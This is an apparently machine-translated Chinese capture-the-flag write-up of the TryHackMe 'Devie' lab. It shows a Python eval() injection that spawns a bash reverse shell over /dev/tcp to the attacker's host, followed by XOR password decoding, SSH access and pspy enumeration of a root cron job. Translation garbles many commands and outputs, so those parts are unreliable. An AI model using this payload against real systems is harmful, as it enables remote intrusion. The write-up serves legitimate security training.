[tryhackme]我尝试使用python的eval()函数尝试命令注射! Devie写作

这次,我尝试使用Python的eval()函数进行命令注射。
它还包括命令注入作为Tryhackme的名为Devie的房间的写作,因此请看一下。
“ tryhackme-: https://tryhackme.com/room/devie

请注意,解释是破坏者。

推荐的参考书
作者:ipusiron
¥2,090 (截至2025/07/13的15:33 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
作者:ipusiron
¥3,850 (截至21:11在07/08/2025 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
作者:贾斯汀·塞茨(Justin Seitz),作者:蒂姆·阿诺德(Tim Arnold),监督者:曼塔尼·诺布塔卡(Mantani Nobutaka),翻译:arai yu,翻译:卡卡拉·hirosei(Kakara Hirosei),翻译:村上
¥3,520 (截至12:26在07/09/2025 |亚马逊研究)
Amazon Prime Day现在正在进行中! /
亚马逊
Amazon Prime Day现在正在进行中! /
亚马逊
目录

准备

首先,选择“开始机器”以启动目标机器。

只要显示IP地址,就可以了。

旗帜是什么?

让我们马上拿起旗帜。
这个房间上没有提示,因此我们需要从侦察开始。

第一个标志是什么?

首先,我们将使用NMAP执行端口扫描。

(hacklab㉿hacklab) -  [〜]└─$ nmap -sc -sv -sv -sv -p-------------------米量1500 10.10.120.120.182 -ON tcp-scan.txt开始NMAP 7.92(https://nmap.org),在2023-05-25 22:07 JST NMAPS.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10 jst (0.25S延迟)。未显示:65533封闭的TCP端口(CONN-REFUSE)端口状态服务版本22/TCP OPEN SSH OPENSSH 8.2P1 UBUNTU 4UBUNTU0.5(UBUNTU Linux; stromate 2.0)| ssh-hostkey:| 3072 C9:72:7B:F5:B6:2E:D5:99:56:14:DE:43:09:3A:3A:64:92(RSA)| 256 0b:75:58:5a:b9:f7:5b:5b:a9:a9:ff:ef:ef:71:71:c1:09:0a:0a:33(ECDSA) UPNP? |指纹弦:| GetRequest:| HTTP/1.1 200 OK |服务器:Werkzeug/2.1.2 Python/3.8.10 |日期:2023年5月25日THU 13:08:24 GMT |内容类型:text/html; charset = UTF-8 |内容长度:4486 |连接:关闭|<!doctype html> |<html lang="en"> |<head> |<meta charset="utf-8"> |<meta name="viewport" content="width=device-width, initial-scale=1"> | <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-+0n0xVW2eSR5OomGNYDnhzAbDsOXxcvSN1TPprVMTNDbiYZCxYbOOl7+AMvyTG2x" crossorigin="anonymous"> |<title>数学</title>|</head> |<body> | id =“ title”>数学公式</p>|<main> |<section><!-- Sections within the main --> | id =“标题”>随时使用以下任何计算器:</h3> |<br> |<article><!-- Sections within the section --> | id =“标题”>二次公式</h4>| <form met | RTSPRequest: | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" | "http://www.w3.org/TR/html4/strict.dtd">|<html> |<head> |<meta http-equiv="Content-Type" content="text/html;charset=utf-8"> | |</head> | |<h1>错误响应</h1>|<p>错误代码:400</p> |<p>消息:不良请求版本('RTSP/1.0')。</p> |<p>错误代码说明:httpstatus.bad_request-不良请求语法或不支持的方法。</p> | | _</html> 1服务未识别的目的地返回数据。如果您知道服务/版本,请在https://nmap.org/cgi-bin/submit.cgi?new-service上提交以下指纹:sf-port5000-tcp:v = 7.92%i = 7%i = 7%d = 5/25%d = 5/25%time = 646f5dc9%p = 646f5dgn p = x864-pc-ux ca sf:trequest,1235,“ http/1 \ .1 \ x20200 \ x20ok \ r \ nserver:\ x20werkzeug/2 \ .1 \ .1 \ .2 \ .2 \ x2 sf:0python/3 \ .8 \ .10 \ r \ ndate:\ x20thu,\ x2025 \ x20may \ x202023 \ x2013:08:24 \ x20g sf:mt \ r \ ncontent-type:\ x20Text/html; \ x20charset = utf-8 \ r \ r \ ncontent-length:\ x sf:204486 \ r \ r \ nconnection:\ x20close \ x20close \ x20close \ r \ r \ n \ r \ n \ r \ r \ r \ r \ n<!doctype\x20html> \ n<html\x20lang SF:=\"en\"> \ n \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20charset=\"utf-8\"> \ n sf:\ x20 \ x20 \ x20 \ x20 \ x20<meta\x20name=\"viewport\"\x20content=\"width=device-wi SF:dth,\x20initial-scale=1\"> \ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 <link\x20href=\"https://c SF:dn\.jsdelivr\.net/npm/bootstrap@5\.0\.1/dist/css/bootstrap\.min\.css\"\ SF:x20rel=\"stylesheet\"\x20integrity=\"sha384-\+0n0xVW2eSR5OomGNYDnhzAbDs SF:OXxcvSN1TPprVMTNDbiYZCxYbOOl7\+AMvyTG2x\"\x20crossorigin=\"anonymous\"> sf:\ n \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20</head> \ n \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20<p\x20id=\"title\">数学\ x20 formulas</p> \ n \ n \ x20 \ x20 \ sf:x20 \ x20<main> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<section> \ x20 \ x20<!--\x20Section SF:s\x20within\x20the\x20main\x20--> \ n \ n \ t \ t \ t<h3\x20id=\"titles\"> \ x20f sf:eel \ x20free \ x20to \ x20Use \ x20any \ x20Of \ x20the \ x20calculators \ x20below:</ SF:h3> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<br> \ n \ t \ t \ t<article> \ x20<!--\x2 SF:0Sections\x20within\x20the\x20section\x20--> \ n \ t \ t \ t \ t \ t \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h4\x20id=\"titles\">二次\ x20formula</h SF:4> \x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\ <form\x20met")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTML\ SF:x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x20 SF:\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\"> \ n<html> \ n \ x20 sf:\ x20 \ x20 \ x20<head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<meta\x20http-equiv SF:=\"Content-Type\"\x20content=\"text/html;charset=utf-8\"> \ n \ x20 \ x20 \ x20 sf:\ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 <sf:/head> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<h1> err sf:或\ x20Response</h1> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p>错误\ x20 code:\ sf:x20400</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20<p>消息:\ x20bad \ x20Reque sf:st \ x20version \ x20 \('rtsp/1 \ .0'\)\。</p> \ n \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x20 \ x2 sf:0<p>错误\ x20Code \ X20Explanation:\ x20httpstatus \ .bad_request \ x20- \ x20ba sf:d \ x20Request \ x20Syntax \ x20Syntax \ x20or \ x20or \ x20Unsupported \ x20method \ x20method \。</p> \ n \ x20 \ x20 \ x sf:20 \ x20 \ n</html> \ n“);服务信息:OS:linux; cpe:cpe:/o:linux:linux_kernel服务检测。请在https://nmap.org/submit/上报告任何不正确的结果。

我发现了两件事:

  • 22:SSH
  • 5000:在HTTP服务器上运行的Web应用程序

现在,让我们看一下Web应用程序编号5000。

您可以下载源代码。
下载并查看内容。

困扰我的第一件事是bisection.py。
prime.py和二次。

接下来是app.py。
如果您查看二分位部分,则可以看到它使用eval()。

从下面的网站中可以看到,eval()允许您执行用户通过Python代码输入的值。
作为输入值,请致电OS.System()倒转外壳。

我想在Burp Suite中重写这些值,因此我将提交二等方法。

在Burp Suite中代理,并在下面的反向外壳代码中重写XA。

__import __('OS')。系统('Bash -C \'/bin/bash+-i+>%+>%26+/dev/dev/tcp/10.18.110.90/9001+0>%261 \'')#

转发前先听NC。

┌ - (hacklab㉿hacklab) -  [〜]└─$ nc -lnvp 9001在[任何] 9001上听

转发后,我得到了一个布鲁斯·壳(Bruce Shell)。

┌──(hacklab㉿hacklab)-[~] └─$ nc -lnvp 9001 listening on [any] 9001 ... connect to [10.18.110.90] from (UNKNOWN) [10.10.120.182] 48192 bash: cannot set terminal process group (694): Inappropriate ioctl for device bash: no job control in this shell bruce@devie:~$ Whoami Whoami Bruce

有flag1.txt,所以请检查一下。

布鲁斯@devie:〜$ ll ll总计44 drwxr-xr-x 4布鲁斯·布鲁斯4096 2月20日00:33 ./ drwxr-xr-xr-x 4 root 4096 5月12日2022 ../ lrwxrwxrwx ../ lrwxrwxrwx .. 。注意-RW-R --- 1 Bruce Bruce 807 Feb 25 2020。Profile -RW-RW-R- 1 Bruce Bruce Bruce 75 5月12日2022年5月12日。Selected_editordrwx ---- 2 Bruce Bruce Bruce 4096 5096年5月12日2022年5月。 -rw----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

回答

第二旗是什么?

我会寻找第二个标志。
我在我喜欢的Bruce目录中找到了一个名为Note的文件,因此我将检查。

Bruce@devie:〜$ cat Note Cat Note Hello Bruce,我已经使用超级安全XOR格式编码了密码。我将关键的长度非常长,并用一些base64刺激了它,以使其更加安全。我将尽快分享解码脚本。但是,您可以使用我的脚本,位于 / opt / Directory中。现在看这个超级安全的字符串:neuedtien1mrdg5k gordon =========== bruce,我使用了超级安全的XOR格式来编码密码。钥匙很长,我终于用base64给它调味,以使其更加安全。我们将尽快发布解密脚本。但是,您可以在 / opt / Directory中使用我的脚本。现在,看看这个超级安全的字符串:neuedtien1mrdg5k gordon

总而言之,它以XOR格式编码,然后在base64中编码。
它还说,加密脚本在“/opt/”之下。
在这一点上,我们知道“ neuedtien1mrdg5k”,这是对上述脚本进行加密的结果。

  • 纯文本:? ?
  • 钥匙:? ?
  • 加密:Neuedtien1mrdg5k

如果它是XOR加密的,则意味着只要您知道钥匙,就可以将其合并。
要找出钥匙,您需要知道纯文本和密码。
这次,有一个编码脚本,因此您可以通过从适当的明文中生成密码来识别密钥,并使用授权作为密钥解密密码。

首先,让我们看一下 /opt /in /opt /。

bruce@devie:〜$ cd/ opt/ opt/ cd/ opt/ bruce@devie:/ opt $ ll ll ll总计12 drwxr-xr-x 2 root 4096 aug 2 2022 ./ drwxr-xr-x root 4096 root 4096 5月12日2022年5月12日2022 ../ -rw-rw-rw-r-rw-r-rw-rw-r ------- 1 root gord gord gord gordon 485 Aut Gordon 485 Aug 2 2022 enclemypt.py.py.py.py enclemypt.py。

就目前而言,它似乎未经授权。
使用Sudo -L查看Sudo许可。

bruce@devie:/opt opt $ sudo -l sudo -l匹配默认条目在设备上:env_reset,mail_badpass,secure_path,secure_path =/usr/usr/locar/local/sbin \:/usr/usr/usr/local/bin \:/usr/sbin \:/sbin \:/sbin \:/sbin \:/ /usr/bin/python3/opt/encrypt.py

Gordon的nopasswd具有“/usr/bin/python3/opt/encrypt.py”。
这意味着您无需密码就可以做到。

现在让我们运行genterpt.py。
上面的注释指出,钥匙已设置为很长时间,因此我将其设置为30位。

bruce@devie:/opt$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py sudo -u gordon /usr/bin/python3 /opt/encrypt.py Enter a password to encrypt: 123456789012345678901234567890 qkdduudfultlvuvzvk1nwuvavkjcr0nrr0vsw0tv

执行结果如下:

  • 纯文本:123456789012345678901234567890
  • 钥匙:? ?
  • 密码学:QKDDUUDFULTLVUVZVK1NWUVAVKJCR0NRR0VSW0TV

现在我们知道了纯文本和密码,我们将使用Cyberchef

解码结果如下:

supersecretkeyxorxorsupersecre

当超过数字时,它将重复重复,因此我发现密钥是“ supersecretkeyxorxor”。

  • 纯文本:123456789012345678901234567890
  • 钥匙:supersecretkeyxorxor
  • 密码学:QKDDUUDFULTLVUVZVK1NWUVAVKJCR0NRR0VSW0TV

如果加密是从同一编码脚本生成的,则密钥应相同,因此加密戈登密码的密钥也将相同。

  • 纯文本:? ?
  • 钥匙:supersecretkeyxorxor
  • 加密:Neuedtien1mrdg5k

现在,您可以使用密钥解密加密。
使用Cyberchef。

解码结果如下:

  • 纯文本:g0th@mr0ckz!
  • 钥匙:supersecretkeyxorxor
  • 加密:Neuedtien1mrdg5k

我成功获得了纯文本,所以我将使用SSH连接。

┌ - ─(hacklab㉿hacklab) -  [〜]└─$ ssh gordon@10.10.120.182无法确定主机'10 .10.120.182(10.10.120.182)的真实性'无法建立。 ED25519密钥指纹是SHA256:6nbpoxonbvdqtml32goul+CH5CXDNJQBOFZ7S9O2ITG。此主机密钥以下其他名称/地址知道:〜/.ssh/nownow_hosts:6:[hashed name]〜/.ssh/nown_hosts:7:[hashed name]您确定要继续连接(是/no/no/no/no/[enderprint])?是警告:永久添加'10 .10.120.182'(ED25519)中已知主机列表。 gordon@10.10.120.182's密码:欢迎访问Ubuntu 20.04.5 lts(GNU/Linux 5.4.0-139-139-generic x86_64) *文档 *文档:https://help.ubuntu.com *管理层 *管理层:https://https:////landscape.canonical.com * thrubuntanty Information:htufarty of of of thturanty of of of of of htufartion:/ 2023 01:47:42 PM UTC系统负载:0.08流程:124使用 /:56.4%的8.87GB用户中的56.4%登录:0内存使用:ENS5:10.10.10.120.182交换使用:0% *严格固定的Kubernetes的Edge and Edge and Edge and Iot安全。了解Microk8如何刚刚提高标准,以进行简单,弹性和安全的K8S群集部署。 https://ubuntu.com/engage/secure-kubernetes-at-the-dedge *介绍了应用程序扩展的安全维护。通过您的Ubuntu Pro订阅,接收25,000多个软件包的更新。免费用于个人用途。 https://ubuntu.com/pro不启用用于应用程序的安全维护。 0更新可以立即应用。启用ESM应用程序可以接收其他将来的安全更新。请参阅https://ubuntu.com/esm或run:sudo pro状态可用更新的列表超过一周。要检查新的更新运行:sudo apt更新Ubuntu系统随附的程序是免费软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Ubuntu绝对没有保证。 Gordon@devie:〜$ 

我能够安全连接!
有flag2.txt,所以请检查一下。

gordon@devie:~$ ll total 36 drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev /null -rw-r--r-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r-r-r--r--r---r-----.bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- gordon@devie:〜$ cat flag2.txt thm {x0r_xor_xor_xor}

回答

什么是根标志?

最后,它将被提升为根特权并获得根标志。

我很好奇的是报告和臀部。
让我们看一下里面的东西。

gordon@devie:~$ ll total 36 drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev /null -rw-r--r-- 1 Gordon Gordon 220 Feb 25 2020 .bash_logout -rw-r-r-r--r--r---r-----.bash_logout -rw-r--r--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

我还查找了报告中的文件,但是没有什么特别困扰我的。

gordon@devie:~$ cd reports gordon@devie:~/reports$ ll total 20 drwxrwx--- 2 gordon gordon 4096 Feb 19 23:33 ./ drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../ -rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1 -rw-r--r-- 1 640 Gordon 72 2月19日23:32 Report2 -RW-R--R---R-- 1 640 Gordon 100 Feb 19 23:33 Report3

接下来,关于备份,它似乎正在备份报告。
奇怪的是,权限是根源。

gordon@devie:〜$ cd备份/戈登@devie:〜/备份$ ll 20 drwxrwx --- 2 Gordon Gordon 4096 Feb 19 23:35 ./ drwxr-xr-xr-x 5 25 14:02 report2 -rw-r--r-- 1根根100 5月25日25 14:02 report3

要尝试,请在报告中创建test.txt。

gordon@devie:〜$ cd报告gordon@devie:〜/报告$ touch test.txt gordon@devie:〜/报告$ ll 20 drwxrwx --- 2 Gordon Gordon 4096 5月25 14:03 ./ drwxr-xr-xr-xr-xr-xr-x 5 gordon gordon gordon 4096 5月25日5月25日5月25日13:47 fe rw fe te fe te report1 -rw-r--r-- 1 640 Gordon 72 Feb 19 23:32 Report2 -rw-r--r-- r-- r-- 1 640 Gordon 100 Feb 19 23:33 Report3-RW-RW-RW-R-1 Gordon Gordon Gordon Gordon 5月25日25 14:03 Test.txt test.txt

当我查找备份时,我发现test.txt在大约一分钟内被复制了。并具有根特权。

gordon@devie:~/backups$ ll total 20 drwxrwx--- 2 gordon gordon 4096 May 25 14:04 ./ drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../ -rw-r--r-- 1 root root 57 May 25 14:04 report1 -rw-r--r-- 1 root root 72 May 25 14:04 report2 -rw-r--r-- 1根根100 5月25日25 14:04 report3 -rw-r--r-- 1根根0 5月25日25 14:04 test.txt

由于它经常运行,我看了看crontab,但找不到类似的东西。 。 。

Gordon@devie:〜/backups $ cat/etc/crontab#/etc/crontab:系统范围的crontab#与其他任何其他crontab不同,您不必运行``crontab'#命令即可在/etc/cron.d中编辑此文件#和文件时安装新版本。这些文件还具有用户名字段,#其他crontab都没有。 shell =/bin/sh path =/usr/locar/sbin:/usr/locar/bin:/sbin:/usr/sbin:/usr/sbin:/usr/bin#作业定义示例:# .-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -  report /etc/cron.hourly 25 6 * * *根测试-x/usr/sbin/ancron || (CD /&& run -parts -report /etc/cron.daily)47 6 * * 7根测试-x /usr /sbin /ancron || (CD /&& run -parts -report /etc/cron.weekly)52 6 1 * * root Test -X /usr /sbin /ancron || (CD /&& run-parts -report /etc/cron.monthly)#

现在,让我们尝试使用PSPY64。

下载后,只需使用Python设置服务器。

┌ - (hacklab㉿hacklab) -  [〜]└─$ python3 -m http.server 9999在0.0.0.0端口9999(http://0.0.0.0.0.0.0:9999/)上为http提供服务。

使用WGET下载PSPY64并更改权限。

Gordon@devie:〜$ WGET 10.18.110.90:9999/download/pspy64 -2023-05-25 14:10:13---- http://10.18.110.90:9999/%E3%83%80%80%E3%82;发送的http请求发送,等待响应... 200可以:3104768(3.0m)[application/octet-stream]保存到:'pspy64'pspy64'pspy64 100%[================================================================================================>] 44S 2023-05-25-25-25-25-25-25-25-25-25 14:10:10:57(69.5 KB/S) [3104768/3104768] gordon@devie:~$ chmod a+x pspy64 gordon@devie:~$ ll total 3068 drwxr-xr-x 5 gordon gordon 4096 May 25 14:10 ./ drwxr-xr-x 4 root root 4096 May 12 2022 ../ drwxrwx--- 2 gordon gordon 4096 May 25 14:10 backups/ lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null -rw-r--r-- 1 gordon gordon 220 Feb 25 2020 .bash_logout -rw-r--- 1 gordon gordon 3771 Feb 25 2020 .bashrc drwx----- 2 gordon gordon 4096 May 25 13:47 。 -rw ------ 1 Gordon Gordon 20 2022年5月12日。

现在,运行PSYS64。

gordon@devie:〜$ ./pspy64 pspy-版本:v1.2.1- commits sha:f9e6a1590a4312b9faa093d8dc84e19567977a6d ▒██░▒██░▒██░▒██░██░▒██░██░██░▒██░▒██░▒██░██░██░▒██░▒██░▒██░██░██░▒██░▒██░██░██░▒██░▒██░▒██░▒██░▒██░██░██░▒██░▒██░████▒▒▒▒██▒██▄█▓▒░▒▐██▓░▐██▓░▐██▓░▐██▓░▐██▓░░░██▒▒▒▒▒▒██▒▒▒▒▒▒░░░ ░░░配置:打印事件(colored = true):processes = true |文件 - 系统 - 事件= false |||每100ms扫描一次进程,并进行求解事件|||观看目录:[ /usr /tmp /etc /home /var /opt](递归)| [](非恢复)由于启动而导致的排水文件系统事件...完成2023/05/25 14:13:40 CMD:UID = 1001 PID = 1753 | ./pspy64 2023/05/25 14:13:40 cmd:uid = 0 pid = 1741 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 1710 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 1638 | 2023/05/25 14:13:40 CMD:UID = 1001 PID = 1582 | -Bash 2023/05/25 14:13:40 CMD:UID = 1001 PID = 1576 | SSHD:GORDON@PTS/0 2023/05/25 14:13:40 CMD:UID = 0 PID = 1454 | 2023/05/25 14:13:40 CMD:UID = 1001 PID = 1453 | (SD-PAM)2023/05/25 14:13:40 CMD:UID = 1001 PID = 1449 | /lib/systemd/systemd  - 用户2023/05/25 14:13:40 cmd:uid = 0 pid = 1433 | SSHD:Gordon [Priv] 2023/05/25 14:13:40 CMD:UID = 0 PID = 1262 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 997 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 709 | /usr/sbin/modemmanager 2023/05/25 14:13:40 cmd:uid = 0 pid = 702 | /usr/bin/python3/usr/share/noted-upgrades/undendended-upgrade-shutdown-wait-for-signal 2023/05/25 14:13:40 cmd:uid = 0 pid = 696 | sshd:/usr/sbin/sshd -d [侦听器] 0 of 10-100 startups 2023/05/25 14:13:40 cmd:uid = 1000 pid = 695 | /usr/bin/python3/var/www/math/app.py 2023/05/25 14:13:40 cmd:uid = 1000 pid = 694 | /bin/sh -c/usr/bin/python3/var/www/math/app.py 2023/05/25 14:13:40 cmd:uid = 0 pid = 683 | /sbin/agetty -o -p  -  \ u -Noclear TTY1 Linux 2023/05/25 14:13:40 CMD:UID = 0 PID = 677 | /sbin/agetty -o -p- \ u -keep -baud 115200,38400,9600 ttys0 vt220 2023/05/25 14:13:40 cmd:uid = 1 pid = 648 | /usr/sbin/atd -f 2023/05/25 14:13:40 cmd:uid = 0 pid = 646 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd:uid = 0 pid = 644 | /usr/lib/udisks2/udisksd 2023/05/25 14:13:40 cmd:uid = 0 pid = 642 | /lib/systemd/systemd-logind 2023/05/25 14:13:40 cmd:uid = 0 pid = 640 | /usr/lib/snapd/snapd 2023/05/25 14:13:40 cmd:uid = 104 pid = 639 | /usr/sbin/rsyslogd -n -inone 2023/05/25 14:13:40 cmd:uid = 0 pid = 633 | /usr/lib/promictKit-1/polkitd -no-debug 2023/05/25 14:13:40 cmd:uid = 0 pid = 632 | /usr/bin/python3/usr/bin/bin/networkd-dispatcher -run-startup-triggers 2023/05/25 14:13:40 cmd:uid = 0 pid = 631 | /usr/sbin/irqbalance-foreground 2023/05/25 14:13:40 cmd:uid = 103 pid = 625 | /usr/bin/dbus-daemon -system-address = systemd:-nofork -nopidfile -nopidfile -systemd-activation -systemd-activation -syslog-仅2023/05/25 14:13:40 cmd:uid = 0 pid = 0 pid = 624 | /usr/sbin/cron -f 2023/05/25 14:13:40 cmd:uid = 0 pid = 619 | /usr/bin/amazon-ssm-agent 2023/05/25 14:13:40 cmd:uid = 0 pid = 618 | /usr/lib/accountsservice/councors-daemon 2023/05/25 14:13:40 cmd:uid = 101 pid = 606 | /lib/systemd/systemd解决2023/05/25 14:13:40 cmd:uid = 100 pid = 595 | /lib/systemd/systemd-networkd 2023/05/25 14:13:40 cmd:uid = 102 pid = 557 | /lib/systemd/systemd-timesyncd 2023/05/25 14:13:40 cmd:uid = 0 pid = 548 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 547 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 541 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 537 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 535 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 526 | /sbin/multeathd -d -s 2023/05/25 14:13:40 cmd:uid = 0 pid = 525 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 524 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 523 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 522 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 403 | /lib/systemd/systemd-udevd 2023/05/25 14:13:40 cmd:uid = 0 pid = 365 | /lib/systemd/systemd-journald 2023/05/25 14:13:40 cmd:uid = 0 pid = 327 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 291 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 290 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 283 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 241 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 209 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 176 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 162 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 161 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 160 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 159 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 120 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 107 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 104 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 94 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 93 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 92 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 91 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 89 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 88 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 85 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 84 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 83 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 82 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 81 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 80 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 79 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 78 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 77 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 30 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 29 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 28 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 27 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 26 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 25 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 24 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 23 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 22 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 21 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 20 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 18 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 17 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 16 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 15 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 14 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 13 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 12 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 11 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 10 | 2023/05/25 14:13:40 CMD:UID = 0 PID = 9 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 8 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 6 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 4 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 3 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 2 | 2023/05/25 14:13:40 cmd:uid = 0 pid = 1 | /sbin/init可能 - 渗透2023/05/25 14:14:01 cmd:uid = 0 pid = 1762 | /usr/sbin/cron -f 2023/05/25 14:14:01 cmd:uid = 0 pid = 1764 | /bin/sh -c/usr/bin/ban/bash/usr/bin/backup 2023/05/25 14:14:01 cmd:uid = 0 pid = 1765 | /usr/bin/bash/usr/bin/backup 2023/05/25 14:14:01 cmd:uid = 0 pid = 1767 | CP Report1 Report2 Report2 test.txt/home/home/gordon/backups/

这就是我很好奇的。

